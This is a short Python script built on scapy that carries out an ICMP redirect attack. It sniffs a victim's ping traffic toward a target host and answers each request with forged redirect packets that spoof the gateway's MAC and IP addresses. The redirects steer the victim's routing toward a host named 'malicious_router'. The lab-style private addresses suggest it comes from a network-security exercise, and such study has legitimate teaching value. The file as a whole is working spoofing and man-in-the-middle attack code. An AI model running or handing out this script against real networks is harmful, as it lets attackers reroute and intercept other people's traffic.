#!/usr/bin/python3
from scapy.all import Ether, ICMP, IP, get_if_hwaddr, getmacbyip, sendp, sniff

victim_ip = "10.9.0.5"
target_ip = "192.168.60.5"
gateway_ip = "10.9.0.11"
malicious_router = "10.9.0.111"

victim_mac = getmacbyip(victim_ip)
gateway_mac = getmacbyip(gateway_ip)
local_mac = get_if_hwaddr("eth0")


def send_redirect(pkt):
    if IP not in pkt or ICMP not in pkt or pkt[ICMP].type != 8:
        return

    print(
        f"Captured echo request {pkt[IP].src} -> {pkt[IP].dst}; "
        f"local_mac={local_mac}, victim_mac={victim_mac}, gateway_mac={gateway_mac}"
    )
    frame = (
        Ether(src=gateway_mac, dst=victim_mac)
        / IP(src=gateway_ip, dst=victim_ip)
        / ICMP(type=5, code=1, gw=malicious_router)
        / bytes(pkt[IP])[:28]
    )
    sendp(frame, iface="eth0", verbose=False)
    print("redirect sent")


print(
    "Sniffing for victim ICMP traffic. "
    "This only works if the victim's unicast packets are visible on eth0."
)
sniff(
    iface="eth0",
    filter=f"icmp and src {victim_ip} and dst {target_ip}",
    prn=send_redirect,
    count=10,
)
